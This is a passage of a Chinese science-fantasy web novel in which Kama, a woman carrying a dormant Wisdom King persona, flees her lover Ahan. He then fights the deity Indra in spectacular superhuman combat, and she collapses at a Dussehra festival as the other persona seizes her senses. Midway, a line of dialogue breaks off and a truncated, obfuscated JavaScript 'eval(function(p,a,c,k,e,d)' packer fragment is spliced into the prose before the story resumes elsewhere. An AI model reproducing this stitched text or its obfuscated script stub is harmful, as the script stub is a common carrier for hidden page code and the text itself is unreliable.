如果真有前世,为什么那时发生的事还要留到现在作了断? 如果连转生之后还要背负枷锁,轮回还有什么意义? 这不是属于她的爱。 她不要做替身。 她就是她。 她才不会乞怜感情,假如只有这样才能得到幸福,她宁可离开。 阿汉也下了床,穿好衣服,站在一边看着她在房间里走来走去,把丢在床上的一只旅行袋不断装满然后掏空。 卡玛一边来回折腾一边不断地暗暗朝那个巨大身影所在的方向乱瞟。 说话!我现在要你说话!你这棵橡树! “……” 现在不是你惜言如金的时候,虽然我讨厌聒噪婆妈的男人,但至少让我知道你究竟在想什么啊! “……” 再不说话,我就走了! “……” 我真走了。 卡玛终于忍不住了,拎着那个连她自己都不知道塞了些什么在里面的旅行袋走到门口。 背后扑来一股气浪,一只大手抢先一步,门把手被攥扁,然后像面条一样被扭弯后插进了门框。 “你是不是也要把我弄成那样,好让我动弹不得?”她冷冷开口。 阿汉的脸色铁青,看来她要离开的想法令他很生气,如果有什么办法可以不伤到她又能让她留下,或者他会考虑加以执行的。 “别忘了,我现在和你一样。” 说着她伸手握住严重变形的门把手,轻而易举地从门框里拔了出来,并且扭回原状——做这些事情并没有费她太多力气,这令她感觉诡异。 “这具身体是我的,现在受我卡玛的灵魂控制。”她说,“我可以做任何我想做的事,比如和你上床,比如离开这里。我会用一切办法阻止她苏醒,如果可能的话,我要把她从体内赶出去,从此我和你们这些天神、明王、阿修罗再也没有任何关系,我会以人类的方式活下去,直到死亡,至于我有没有来生,或者来生会变成什么样子,这些事情我毫无兴趣。” 阿汉凝视着她。 “有本事的话,就让她醒过来,令这个身体彻底变成降三世明王,然后和她幸福地在一起吧,现在我要走了。” 说完她拉开门。 “卡——” 砰! 门在背后关上的那一刻,卡玛哭了。 她不想这样的,一点都不想。 她喜欢阿汉,她想和他在一起的。 为什么要对她这么残酷? 难道她降生在这个世界上,意义仅仅在于做一个灵魂容器? 当“正主”醒过来的时候,她这个冒牌货就得烟消云散。 她活到现在所留下的记忆,充其量只是暂存在缓冲区的临时信息罢了。 与这些相比,她想她可以放弃阿汉。 是的,她可以。 她不是那种没有爱就无法生存的人,哪怕情感世界一片荒漠,她可以用繁忙的工作来填满,哪怕周身空无一人,孤独得艰于呼吸,她也可以给现成的机体灌注虚拟记忆,做出真假难辨的人偶来消除寂寞。 但…… 心里还是很痛,就像被活活剜掉了一块。 坚强些,卡玛。 她对自己说。 他爱的人并不是你。 阿汉也好,刹迦罗也好,他们会出现在你生命中,完全是基于某个前提。 你根本没有选择权,因为从一开始,从在那个垃圾场里醒过来时,你就已经出局了。 一场误会,仅此而已。 坚强些。 求你。 旅店老板趴在柜台上,呵欠连天,两只熊猫眼叹为观止。 他失眠了,原因是他的房客里有一对激情爱侣彻夜大战。 说实话,到他这里投诉的客人里至少有一半是来找乐子的,但开店这么多年,他还从来没见过哪对男女有这么大能耐。 持续时间倒还其次,关键是弄得他的旅店地动山摇,他捂着被子露出两只眼睛在外头,就看到房顶灰尘瑟瑟抖下,其中还伴随着各种可怕的动静——如果他耳朵没出毛病的话,他好像听到了类似某些大型机械发动时的声音,比如码头的龙门吊,或者货柜运输机器人之类的,另外甚至还有某些猛兽的咆哮声。 那位先生壮硕如山,搞不好会像发情的大象一样可怕,那么那个女孩…… 想着想着,那个女孩就下了楼,出现在老板眼前。 好像也没什么大碍的样子呀…… 咦?怎么在哭?还拎着包?莫非…… 老板的脑海里立即浮线出各种假想情节,直到有只手在他眼前晃了晃。 “我付一半房钱,其余的去找那个人要。”卡玛说,“这里只收现金么?” “也可以用信用卡……” “现在都用虚拟帐单的。” “这里是贫民区呀,没有那么高级的东西。”老板用期盼的目光望着她——要是她能想办法把房钱全结了就好,他可没那个胆子伸手问那头大象……呃,那位先生要钱。 “我昨天买回来的机械零部件,能不能抵上?”卡玛问,“我没有现金,也没信用卡。” “那些东西很贵的哦……难道你不用了么?”老板奇怪地问。 “用不着了。”卡玛笑笑,“早知道做上一次就能解决问题,就不会多此一举了。” “哦……”老板似懂非懂。 “那么,我走了。”卡玛说,“谢谢你这几天来的照顾,也谢谢你没有把我们的行踪透露出去。” “哈哈……哪里哪里……”老板干笑两声,一个劲地抹汗。 “我顺便打听一件事。”卡玛问,“贫民区保留了远古时代的宗教,听说这些教徒里有些人具有特殊的能力?” “啊,这都不是秘密啦。”老板说,“有一个人在阿什提南部贫民区里非常有名,被传得神乎其神,说无论得了什么病,只要被他摸一下就会痊愈,而且听说他的预言从来没有失误过呢。” “那个人是不是叫希兰亚卡悉布?”卡玛问,“我的一个朋友曾经提过这个名字。” “就是他。”老板点点头,“追随他的信徒可不少,你朋友也是吗?” “怎样才能找到这个人?” “……这两天似乎正好在庆祝什么节来着,离这二十里有个比较大的聚集点,不出意外的话,这种热闹场合,那个人是会出来露面的,唔,就算不露面,在那里也一定能找到他的信徒,你可以……” “谢谢。” 说完卡玛拎着包,朝旅店门口走去。 “那……祝你好运。”老板挥了挥手,又忍不住打了个呵欠,眼泪都流出来了。 卡玛刚一推开门,却立即被一个巨大的黑影笼罩。 “嗨。” 头顶一个低沉浑厚犹如闷雷般的声音在冲着她打招呼。 她抬头一看,却大吃一惊! “可算找到你啦,降三世!” 因陀罗咧嘴一笑,露出一口白牙。 16. 第 16 章 在因陀罗面前,卡玛甚至无法动弹。 她只能眼睁睁地看着那个巨人的左眼开始闪光。 “等一下!……因陀罗,等一下!”她叫道。 “对不起,降三世,我是奉命行事。”因陀罗低声说。 “我不是降三世……我是卡玛!”她几近绝望地喊,“因陀罗,请帮帮我!” “那没区别呢……” “我正在要去找能把她从我体内赶出来的人!……一定有办法的!” “这种事连我都做不到。”因陀罗轻轻地摇了摇头,“如果有这样的办法,三连神早就动手了。” 当因陀罗的能量聚集到顶点时,卡玛感到自己体内有个东西被激活。 她的背上闪出四道黑影,飞快地袭向因陀罗的胸口。 因陀罗一把将她的四自机械手臂攥住,冷笑道: “我和毗沙门可不一样,这种把戏是没用的!” 说着手腕一翻,便将手中黝黑细长的机械体拧断。 蓝色的液体四处溅射,卡玛却感觉不到一点痛苦,就像这身体根本不是自己的一样。 那个家伙,又开始活动了吗? 紧接着她又展开第二轮攻击,眼中蓝光一闪,一个耀眼的蓝色光球轰中了因陀罗的脖子。 被近身击中,因陀罗只是脑袋略微偏了偏,卡玛的攻击几乎没伤到他分毫。 “完成曼陀罗仪式后,完全觉醒的明王机体,原来不过如此嘛。” 帝释天的能量在他的左眼凝聚到了顶点。 “再见了,降三世。” 就在锐鸣激起强大气流的瞬间,一只大手突然牢牢地抓住了因陀罗的脸。 白光击穿了阿汉的手,在旅店的墙壁上开了个大洞。 阿汉的半只前臂都在高温中气化,若是卡玛正面承受了因陀罗的这一击,只怕会直接从这个世界上蒸发。 阿汉一把推开卡玛,用膀子顶着因陀罗将他撞出门外,然后一拳抡在对方的左胸上,爆起一声闷响,半径五十米内的建筑物、车辆、植被、路面都为之震颤,因陀罗壮硕的身躯被阿汉那一拳打得朝后飞起,重重地摔进一栋破旧的房子里,在男男女女的惊叫声中房子一下子塌了一半,烟尘四起。 阿汉看了看卡玛,一言不发地拉起她的手来到旅店外,四下张望了一番,将目光锁定在停在旅店旁的一辆吉普车上。 他大步上前,打碎车窗,将驾驶座旁的车门扯下来丢到一边,拨弄了几下打着引擎,然后将卡玛塞了进去。 “这车太小,你——” 阿汉捧着她的脸,将自己的前额抵住她的眉心。 他把这种古董级交通工具的驾驶方法传给了她。 卡玛怔怔地望着阿汉,直到现在这个男人还是一言不发,他的眼睛说出了一切。 他要她逃走,自己却打算留下来和因陀罗拼命。 卡玛泪流满面。 她突然伸手勾住阿汉的脖子,吻他。 之后她擦掉泪,用力踩下油门,在发动机的轰鸣和轮胎磨擦地面的锐鸣声中离去。 阿汉目送她远去,之后弯腰捡起拆下来的车门,扭曲的车门在他手中消失,当他吸收了全部的金属成分,丢下碎玻璃渣和油漆残片后,受损的手臂已大部分复原。 第四十八贫民区郊外的一个不起眼的角落里正在上演超人大战,欲哭无泪的是被无端殃及的旅店老板。 只不过是十几年而已……“上面”的人怎么都已经进化到这种程度了啊?…… 墙上被打洞,车子被抢走……他到底是招惹了什么人哪! 阿汉走进满地狼藉的旅店,四下打量了一番,目光落到一个水壶上。 他刚刚伸手,一个人影便飞扑出来,死死地抱住那水壶,绝望地冲着他大叫: “这个水壶是我跟我老婆结婚时买的!你要连这么个小东西也不放过,我……我就跟你拼啦!!” 阿汉盯着旅店老板,后者咽了口唾沫。 “呃……是前妻。” 于是阿汉放下水壶,又将目标转移到一个铁皮垃圾桶上。 “这个也是她买给我的!”旅店老板赶紧说。 嘎—— 旅店外那栋倒了一半的房子里传来金属扭曲的锐鸣。 阿汉不耐烦了,起身举手一把将天花板上的吊扇扯下来,当着老板的面把金属制的叶片分解吸收,老板目瞪口呆地看着他残缺的手掌上转眼间“长”出两根手指头,吓得手脚发麻——虽然对诸如人造人体这些高科技的玩意略有所闻,但这简直就是妖怪嘛! 阿汉拎着老板走出旅店,把他朝旁边一丢,老板哭丧着脸爬起来嚷嚷: “你……你们这些坏人!我要去报警!叫他们把你们全部抓起来吊死!” 见那巨人朝自己晃了晃拳头,老板忙连滚带爬地逃走了。 待那人类从视野中消失后,阿汉望向前方——一个高大的身影从飞扬的尘土中走出。 胸口挨了阿汉一记重拳,因陀罗看上去安然无恙,他看了看四周,问。 “你就让她一个人逃走?或许她立即就会撞上阿修罗或是其他奉命追杀她的天神。” 阿汉沉默不语,但他眼中的光已经透露出某种决心。 “想跟我同归于尽?大威德,我不会让你得逞的,至少这次不会——即使你不阻拦我毁灭降三世,我也要找机会教训教训你,世界大厦里的事我还没找你算账呢。”因陀罗嘿嘿笑道。 紫蓝色的光流注入地面,阿汉的脚下出现了半径十米的法印,升腾而起的焰光形成三面六臂的明王相,附着在他的体表,就像一层装甲。 “连明王战铠都能使用,看来的确是恢复到巅峰状态了。”因陀罗眼睛一亮,“看来三连神的委托偶尔也会有一点乐趣。” 说着这位须弥之王的身上开始噼噼啪啪地闪起电光,因陀罗的脸泛起金属光泽——这是他聚集能量的标志。 因陀罗开始向阿汉走去,每一步都饱含风雷之势,他毫无掩饰地向大威德明王施加压力,而阿汉站在原地,只是面无表情。 “我从持国那里听说过一些关于明王机体的事情。”因陀罗说。 阿汉冷冷地望着帝释天。 “明王机体和天神机体一样,核心动力都是精神体,但不同的是明王机体的运转需要外部能量而天神机体不用……”因陀罗环视四周,“大威德,这里可没有太多金属可以让你吃呢……你觉得凭你剩余的能量能跟我打多久?” “……” “不过我也不想在你身上浪费太多时间。”因陀罗笑道,“我的目标是降三世,在她还没有逃得太远之前,我得尽快把你摆平才行。” 他走到阿汉跟前,帝释天与大威德之间随距离缩短而急速增强的能量场开始影响附近的时空秩序。 因陀罗收住笑,低声说: “不想死的话,就滚出摩诃,到你该去的地方!” 阿汉突然挥拳击向因陀罗。 那一拳快如闪电,却没能把因陀罗的头颅砸碎,反而在距他的眉心尚有不到两寸时硬生生停了下来——因陀罗周身被无形屏障笼罩,阿汉的拳头无法再继续前进。 “大威德,你是打不过我的哇。” 说完因陀罗右肩一动,一拳击中阿汉的腹部,因陀罗的半截前臂都没入阿汉体内。结结实实挨了这足以击毙成年大象的一拳,阿汉像一发重磅炮弹接连撞塌了一大片被弃置的房屋,他还来不及起身,因陀罗追上前,伸出双手卡住阿汉的脖子,把他从一堆残桓断壁中挖出来,乱撞了一番后,发现这些过时的钢筋混凝土建筑物的强度实在太差,根本不能对大威德明王的身体造成什么伤害,于是略一搜索后,挑中了另一个地方。 打定主意后,因陀罗抓住阿汉的脚踝,开始像抛链球一样拽着他飞快地旋转,阿汉被当成了打墙机,头部和肩膀撞得碎石飞溅,当速度达到最高点后,因陀罗脱手将阿汉抛至高空,之后从地上抄起一根手腕粗的钢筋,原地消失。 阿汉像断线的风筝,冲破污染层来到了阿什提市的上层,他的闯入立即引发混乱,一辆装载着铁矿砂的重型卡车被他从中撞成两截,后面的车辆躲闪不及接连追尾,失控的卡车头带着浓烟朝旁边的一座商厦撞去,司机启动紧急逃生装置从驾驶座上被弹出,气急败坏地破口大骂,而始作俑者继续向上攀升了两百米才抵达抛物线的顶点,而阿什提市底端的三层交通网络已经乱作一团——垂直方向上的行使是严重违反交通法规的,何况是“行人”! 当阿汉停止上升时,因陀罗已经在那里等他了,他悬浮在空中,攥着一根前端被搓成锥形的钢筋,俨然一位持枪战神。 “怎么是辆运铁矿砂的卡车?……估计错误哇。”看着因为吸收了大量金属而身上紫蓝色光芒比先前浓烈许多的阿汉,因陀罗大皱其眉,同时扫了那辆卡车一眼。 扭曲破裂的货柜上有着希尔布鲁斯货运集团的标志。 “希尔布鲁斯?”因陀罗耸了耸肩,“真有你的。” 他投出了手中的钢筋。 贯注着帝释天之力的长□□透阿汉的明王战铠,穿透了他的左胸,鲜血喷溅,宛如空中绽放的蓝色莲花。 阿汉握住钢筋试图将其吸收,但上面的天神之力立即弹开了他的手,他像流星一样坠向地面。 因陀罗凝视着阿汉的身影被污染区吞噬,之后在卡车头即将撞上百货大楼的一瞬间将其静止在空中,众目睽睽之下,他听到有人在喊他的名字,不禁有些懊恼。 回头又得篡改围观者记忆了,他真是个粗心的家伙,怎么老干这种事? 警笛自远而近,因陀罗可不想在完成三连神的委托前扯上一身麻烦,闪身而退。 这是一个货运码头,虽然阿什提多年前就已经陆续启动了大型空港,但在贫民区海上运输依然是重要的物流渠道,同时一些无法通过正常途径入境的货物也往往会走海上航线。 码头工人们和渔民们正在忙碌,突然有人指着空中大喊大叫起来,众人抬头一看,只见一个耀眼的雷光球撞破污染层的黑云从天而降,尚未接触地面便已掀起阵阵狂风,不知是谁带了头,众人吓得四处逃窜——天晓得这是不是上面搞的什么新武器,出了毛病就朝地上栽跟斗! 一声闷响,巨大的珠网状裂纹延伸至三百米外,码头被撞出一个盾形大坑,从空中俯视,恰好与四周龟裂的痕迹构成了某种圆形法阵图案。 大坑中央最深处,阿汉被钉在地上动弹不得,钢筋穿透他的胸膛插入地面至少两尺,伤口里涌出的血在雷电的高温下迅速气化,腾起阵阵紫雾。 因陀罗来到他身边。 “我真是搞不懂。”他摇着头。 阿汉并没有理会他,握住钢筋,一点一点地把它从自己胸前拔出。 “那个女人到底有什么好?值得让你宁可粉身碎骨也要护着她?”因陀罗在他身边来回踱着,“我以为……以为你一千年前已经得到教训了!连毗沙门那样的痴情种都说原来的耶罗已经不在了,降三世心里只有那个叫那至的家伙,你应该很清楚吧?!” 我知道。 “既然你知道,那就不要阻拦我毁灭降三世!”因陀罗喝道,“那个女人的存在只会给这个世界带来灾难,而你……你居然通过曼陀罗仪式来把她唤醒,大威德,你知道你干了什么吗?如果她令这个城市生灵涂炭,你就是最大帮凶!” 我相信她。 “相信?谁?她?三连神呀,让我离开摩诃回到须弥休休假吧!”因陀罗夸张地挥舞着双臂,“我宁愿躲在善见城里吃喝玩乐当个堕落的天帝,也不想再呆在这里和这帮疯子打交道了!——没错!疯子!你们都是疯子!你是!毗沙门也是!” 他的情绪很激动,须发怒张,眼瞳里电光迸射。 “希尔布鲁斯货运集团最大的股东是谁,我怎么会不知道?那辆装满铁矿砂的货车根本就是那家伙暗地里安排的吧?我早就料到他不会这么轻易地让我完成三连神的委托,这个大混蛋,他来摩诃寻找‘身上有黑色莲花图案的女人’,我还傻乎乎地帮他的忙!” 阿汉拔出钢筋,在帝释天的注视下缓缓站起。 “你是个傻瓜,汉巴达。”因陀罗吼道,“从一开始到现在,你只是一件兵器而已,没人妨碍你寻找幸福,但你自己要当一个闷葫芦,所以我从没对你抱过任何希望,但是像毗沙门那么聪明的家伙在这件事情上居然也变得跟你一样,这让我非常、非常、非常的生气——我一定要让那个迷惑你们的女人从这世界上彻底消失,如果你们依旧执迷不悟,那我就先让你们烟消云散!” 说着他腾空而起,从一辆歪倒在一旁的吊车上拆下吊臂,二话不说朝阿汉砸去。 哐当! 吊臂带着破空轰鸣击中阿汉的头部,当即将他打倒,在阿汉刚要爬起来时,因陀罗再次抡起吊臂砸在他的背上。 接连七八下,每一次都伴随着令人心惊肉跳的金属锐鸣,换作是常人,只需一下就会变成肉酱,即便是阿汉也被弄得皮开肉绽,他断了一条腿,背上的伤痕触目惊心,他的外套和汗衫深深陷入皮肉,有些地方已经能看到银灰色的机械组织。 “不打算反抗了么?”因陀罗盯着扭曲变形的吊臂,“那就让我砸碎你的脑袋,替你做个了结吧!” 就在他再次举起吊臂全力砸下时,趴在地上的阿汉突然翻身而起。 那一瞬间,阿汉眼中的蓝光像火焰一般浓烈,紫蓝色的光纹从他的面颊、脖子向肩膀和胳膊迅速扩散,紧接着他抬臂挡下了因陀罗雷霆万钧的致命一击。 呼啸而下的吊臂非但没能把阿汉的脑袋砸碎,反而在两股巨力的挤压下变成了S形,本以为稳操胜券的因陀罗完全没料到阿汉会突然有此一举,放手攻击没给自己留太多余地的他被强大的反馈力震得倒退两步,虎口开裂,肩膀和背部也出现了程度不同的损伤。 趁因陀罗受伤分神之际,阿汉拖着断腿扑上前,一把卡住他的脖子。 原本能够自主防御的天神护盾,这次却没能帮上因陀罗。 阿汉的手上沾满了自己的血,因陀罗的喉咙立即被渗透,泛起一片青光。 “你……”因陀罗的面孔扭曲。 虽然身为明王,但阿汉从一千年前开始,就已经不再是神族成员。 他也是一个阿修罗。 而堕落者的鲜血能侵蚀天神,无论是精神,还是□□。 难道之前阿汉任他攻击而不还手,就是为了让他放松警惕,然后利用阿修罗之血破掉他的天神护盾,以便对他施用…… 斩首之刑?! 因陀罗的脖颈瞬间完全变成青色,而阿汉的另一只手经过分解重组后变成了巨大镰刀。 要是这样就被干掉,铁定会被多闻还有持国他们笑掉大牙! 因陀罗眼中白光一闪,四周骤然升温,两人之间迸出一道弧光,阿汉的左半边头颅不翼而飞——然而即便如此也没能令阿汉停止行动! 眼见自己就要身首异处,红了眼的因陀罗暴吼一声,发动最大天神之力,强行折断阿汉的手臂后全速后退,寒光闪过,因陀罗被削掉半截胳膊,喉咙上被切开寸许,浓黑如墨的血箭迸起七八尺,之后渐渐转为蔚蓝色,接着变成紫红色,最后恢复至正常的暗红色时,因陀罗已成了一个血人,他撕扯着颈部的伤口,直到遭到污染的阿修罗之血流尽后才令其自动愈合,能量大批流失,他的精神体负担霎那间提升了三十七倍,但除此之外别无他法。 阿汉的左臂由镰刀变为炮,对准了因陀罗的胸膛。 见那黑漆漆的炮口里闪起蓝光,因陀罗苦笑一声。 “持国答应过的哲卡皇家系列,我都还没吃到!” 对不起,帝释天。 但是……从一开始你就弄错了。 “是吗?……”因陀罗盯着阿汉剩下一半的脸。 突然他像是明白了什么似的,不敢置信地低声叫道: “汉巴达,原来你……原来不是——” 大威德·无迴散难印·汉巴达炮! 蓝光映亮了半边天空,大威德明王的高能量光炮犹如利斧,将整个码头切成两半后劈开海浪,直至消失在海平线。 手臂恢复原状,阿汉像座崩塌的山一样颓然倒地,与因陀罗的战斗只有短短几个回合,却几乎赌上了他的性命,那一发汉巴达炮倾注了他全部的能量,只求能令这位难缠的纯战斗型天神停止行动。 阿汉一手攀着地面,爬到那根吊臂旁,开始将金属转化为能量以供自我修复系统使用,机体损伤不轻,就算有足够的外部能量源,要完全复原也至少需要三四个小时。 他没有这么多时间,一恢复行动力他就必须去找卡玛。 有些事情,他必须得对她说。 他原本以为只要那样就好,可是他错了。 看着她伤心绝望的模样,他觉得因陀罗的拳头打在他身上也不及心痛的十分之一。 阿汉突然感到有些异样,心头猛地一沉。 他缓缓转过脸,朝身后望去。 那个黑发金瞳的男子正站在他身后。 毗沙门天。 实力与帝释天不相伯仲的家伙。 三连神……就不能再多给他一点时间吗? 唯一的胜算,只有再次尝试斩首之刑了。 像是知道他在想什么一样,刹迦罗摇了摇头。 “你没有机会的,阿汉。” 阿汉爬起来,向对方挥拳,但刹迦罗只是略微侧了侧身就避开了他迟缓无力的攻击。 “你现在连站都站不稳,就算能把血涂到我脖子上,也斩不下我的首级吧。” “想抓住我自爆也是没用的——你甚至沾不到我的衣角。” “……” “你不该在因陀罗处于虚弱状态下时对他用汉巴达炮的。”刹迦罗说,“他大量失血,在他的机体恢复基本功能前你有足够的时间离开这里,不过现在……” 说着他抬头眺望。 海面上空突然阴云密布,翻滚的云层间不时地摩擦出暗紫色的闪光,海浪的轨迹异乎寻常,几分钟前还因激烈打斗而受惊的海鸟此时突然销声匿迹,沙滩上一片死寂,所有活物都像是因为惧怕着什么而藏了起来。 粘稠的海风中夹杂的腥气中,掺进了杀戮的欲望。 “快走吧。”刹迦罗突然回头。 “接下来是天神之间的事了,你最好尽快找到她,也许再过一会,这座城市就要从地图上永远消失了。” 阿汉凝视着刹迦罗,忽然,他像下了很大的决心,朝这位天神宣布: “卡玛。” 他说。 “卡玛,是我的。” 他咬牙切齿,怒目圆瞪,紧攥双拳,似乎只要对方稍微对此持有异议,就会立即大开杀戒。 阿汉盯着刹迦罗的金瞳。 四目相对。 刹迦罗缓缓开口,与此同时一声震耳欲聋的雷鸣降下云端。 听了刹迦罗的话,阿汉郑重颔首,转身蹒跚地离开了码头。 看着那巨人的背影,刹迦罗笑了笑。 曼陀罗仪式……还真是神奇。 当然这话他是不会当着阿汉的面说的,否则他很可能被那个面红耳赤脑袋冒烟的大块头当场掐死。 将视线移回海面,他的神情变得十分凝重。 “持国。” 我在,你那边情况如何? “你最好现在立即过来,第六十八贫民区,五号货运码头。”刹迦罗说,“我想我们可能遇到大麻烦了。” 到底怎么回事? “你没有感到巨大的能量波动吗?” 当然有,所以我才问你呀——我还从来没有在摩诃见过到这么可怕的能量反应,真叫人毛骨悚然,简直就像吃了火药的因陀罗一样。 “你说的没错。”刹迦罗苦笑道,“他现在的确是吃了一肚子火药。” 你……你说什么? “大威德毁掉了因陀罗的天神机体核心。” 什么?!!—— 希格玛的尖叫甚至压过了海面上的大雷暴。 “你没听错,伙计。”刹迦罗说,“小男孩发怒了,真正的暴君马上就要在这座城市降临了。” 我马上过来!不,等我十分钟,我去通知三连神——不,不对,这种事情他们肯定早就料到了……该死,怎么会这样?!我去叫市长立即发布紧急疏散令……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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色彩斑斓的纱丽下能看到老型号的人造肢体,裹着头巾蓄着浓须穿着大耳环的男人脸上印着条形码,马车和个人飞行器并驾齐驱,在街上悠闲信步的牛被涂成各种颜色,不过当中大部分是基因工程的产物,即使是贫民区,自然分娩的牛也比人罕见——传统的生活方式和日新月异的科技,在阿什提的贫民区似乎找到了奇特的平衡点,究竟是上层世界的科技逐渐渗透,还是底层社会的自发进化,社会学家和人类行为学家争吵了十余年也没得出结论。 卡玛此时完全没心情去思考这种问题,她混在熙熙攘攘的人群中,四处打听关于那个叫希兰亚卡希布的贤者的消息。 她真没想到,当初从伊诺那里听来的奇闻怪谈如今成了她唯一的救命稻草。 “小姐呀,要不要尝尝我的特质咖喱饭?” 路边的小贩热情地招揽生意,卡玛还没反应过来就被拉进店里。 店主是个矮胖的中年男人,他在自己的背上装了三对机械臂,虽然只有一个人但也游刃有余,看着他胖乎乎的下巴和圆滚滚的肚皮,简直就像一只盘踞在屋子里的大蜘蛛,卡玛不禁有些头皮发麻,几次都想起身离开,然而咖喱饭的香味的确浓郁,正当她心神不定时,店主问道: “小姐,您的脸色看起来不太好呀。” “是吗?”她随口应道。 “过节的时候就应该开开心心的,有什么不开心的事情都放下比较好哦。” “过节?”难怪一路上总觉得格外热闹。 “三天前就开始庆祝,加上接下来的七天,都是十胜节的日子,为了庆祝毗湿奴大神的第七化身、大英雄罗摩战胜可怕的恶魔罗婆那,大家一连要庆祝十天——您是从上面来的吧?” 卡玛点了点头。 “上面早就已经没有信仰,自然也不会过十胜节啦,不过小姐,这个时候这里有很多好玩的东西,到了晚上还有很盛大的烟火可以看,千万别错过——您是和男朋友一起来玩的吗?” 卡玛搪塞着点了点头。 “难道你们走散了?”店主睁大眼,“你们没有雇向导吗?” 她摇摇头。 “那可麻烦了——过节的时候人太多,别说走散的,被踩死的都有……啊,我不是那个意思,请您千万别误会——我的意思是说……呃,那个……”难为情的店主小心翼翼地瞄着卡玛,背后空闲下来的一只机械手臂探过来替他抓脑门。 “没关系。”卡玛说,“您对这里应该很熟悉吧?” “小姐,我在这里已经住了几十年啦。” “我想向您打听一个人。”卡玛说,“他叫希兰亚卡悉布,您听说过他吗?” 店主扬了扬眉。 “凭毗湿奴神头顶的光辉起誓,这里没人不知道希兰亚卡悉布——我当然也知道!” “你知道怎样才能找到他吗?”卡玛追问道。 “这个就很难说了。”店主耸了耸肩,“他居无定所,总是接受信徒的供养。” “供养?” “是的,他有时住在这户人家里,有时住在那户人家里,人们为他提供衣食,而他帮自己的信徒解决各种烦恼,听说他的本事可大了,什么病都能治好,而且他的占卜好像从来都没有出过错呢。”店主说,“而且不是什么人都能把他请到自己家里来住的,听说连上面的人都常常偷偷跑下来求他,其中不少人都很有钱,还住着大宅子,可他从不离开贫民区。” 卡玛皱起眉头。 这么说要找到这个所谓的贤者并不容易,那该怎么办?她现在就要见到他。 “不过小姐,您的运气不错,如果是在这个时候,要找到他也不是没办法。” “在这种节日里,他会现身为大家祈福吗?”卡玛精神一振。 “没错,稍后晚些时候有大型集会,也许他会出现的——喏,你的咖喱饭好啦。” 金黄色的咖喱饭看上去美妙非常,虽然心事重重,但卡玛还是决定先补充体力。 远处传来几声巨响,激起阵阵回声。 “怎么了?” “有人在放鞭炮吧?”店主一边忙碌一边说,“十胜节里人们为了庆祝毗湿奴神的化身、大英雄罗摩打败十首魔王罗婆那,会做出很大的纸人在里头塞满鞭炮,点燃后纸人被烧成灰,就代表邪恶的魔鬼被战胜呀。” 卡玛摇了摇头,起身走到店门口朝外张望。 天边乌云密布,电闪雷鸣,闪光映在卡玛的蓝瞳中,每一声雷鸣都轰在她心上。 “咦?怎么突然变天了?”店主嘟哝着,“该不会是要下雨吧?” 卡玛知道那不是普通的雷暴。 她能清楚地感应到在离这里大约数十公里的地方有剧烈的能量反应,而那些暗紫色的霹雳只能令她联想到一个人。 因陀罗。 她的心一阵狂跳。 阿汉他怎么样了? 先顾着你自己吧。 卡玛倒抽一口冷气。 “降三世!” 真没想到,一个人类居然也有这么强的精神力,能一直抵御我的意志…… 那个声音从四面八方传来,卡玛仓皇地四处张望,人来人往,有些人在好奇地盯着她,而她只能看到他们的嘴在动,却听不到只字片语,尖锐的共鸣不绝于耳。 你已经丧失了听觉,现在把味觉交给我吧。 卡玛感到一阵痉挛掠过脸庞,千万只小虫钻进了她的脑子里,一瞬间她的神经末稍空空如也,她想大喊,但舌头麻木僵硬,嘴里像含了块石头什么声音也发不出。 毗沙门坏了我的好事,但拜你所赐,曼陀罗仪式令我重获生机提前苏醒,这种事情毗沙门大概也没料到吧——你居然用这个身体和他发生关系,你到底想要干什么?证明自己的存在?试探自己在他心里有多少份量? 住口!给我滚出去! 有件事希望你最好弄清楚,虽然不知道那三个老家伙到底在打什么鬼主意,但这个身体是作为我降三世明王的转生而存在的,而在我苏醒之前由你代管而已——你只不过是衍生出来的另一个人格,在我苏醒之后,该退位让贤的应该是你这个平庸愚昧的凡人。 卡玛跌跌撞撞地冲到街上,身后那个小吃店的老板在对她大喊大叫,但她什么也听不到,她在人群里横冲直撞,大家还以为遇到了一个磕药过度的瘾君子。 我不会让你称心如意的,绝不,降三世! 你尽管嘴硬好了,但这已是注定,毗沙门不在你身边,没人再能阻止我苏醒。 面前是庞大的彩车队,神话传说里的人物被做成大型活动人偶,演员们在彩车上表演歌舞和戏剧,内容都与《罗摩衍那》有关,贫民区的条件有限,但在人们的精心布置下也装点得非常漂亮。 然而这一切在卡玛眼里全都成了模糊的重影,红红绿绿的色块令她晕眩,她开始呕吐,当她的胃里空空如也时,她闻到了浓烈的腥味。 她知道那是血。 现在的她是不是脸色苍白,嘴角挂着蓝色的血丝,就像一具活尸? 别逞强了,把身体交给我,然后去安静地休息,有什么不好呢?失去听觉和味觉的滋味很痛苦吧?难道一定要我把你的全部感官都剥夺,让你意识模糊最终烟消云散才满意么? 在那之前我会找到能帮助我的人。 帮助你的人?你是说那个希兰亚卡悉布?要是你知道他的另一个名字……哈哈哈…… 无论如何,我都要试试看。 你到底想要什么呢?是什么事情让你如此坚持?你想得到阿汉,不光是他的身体,还有他的心?真是遗憾,那个男人是为我而生、为我而活的,只要我愿意,哪怕让他去死他也会毫不犹豫地去执行,而你,在他眼里只不过是个替代品吧? 卡玛艰难地笑了笑。 如果我是你,我一定会好好珍惜他的。 降三世,你不明白被一个那样的人守在身边,是件多么幸福的事。 若你不爱他,就放开他,而不是继续把他捆在身边,肆无忌惮地伤害他。 你根本就配不上阿汉。 卡玛眼前突然一黑。 降三世侵占了她的视觉。 颅腔内像灌了铅一样沉重,卡玛终于倒了下去。 她感到自己被一双有力的手接住。 天啊。 在她记忆里只有一个人的胸怀会如此温暖。 是阿汉吗? 她挣扎着抬起头,明知自己已经什么都看不到,还是拼命地去看,期盼发生奇迹,让她看到那张熟悉的脸,和那双清澈透亮的蓝眼睛。 她看到了一些光。 大小不一的光团,在那个人的肩上闪烁着。 对方的脸漆黑一片。 你不是阿汉。 你……你是谁?…… 能帮助你的人。 在失去意识前的最后一刻,她听到有人在对她说话。 那声音犹如天籁。 17. 第 17 章 当卡玛恢复知觉后,她发现自己躺在一个陌生的房间里。 摆设很简朴,昏黄的光来自一盏黑漆漆的油灯,看着那轻缓摇曳的火苗,卡玛突然反应过来——自己又能够视物了。 她隐约能听到乐声,没错,有人在演奏塔布拉鼓和锡塔琴。 她恢复了听觉。 她试着发出声音。 “有人吗?……” 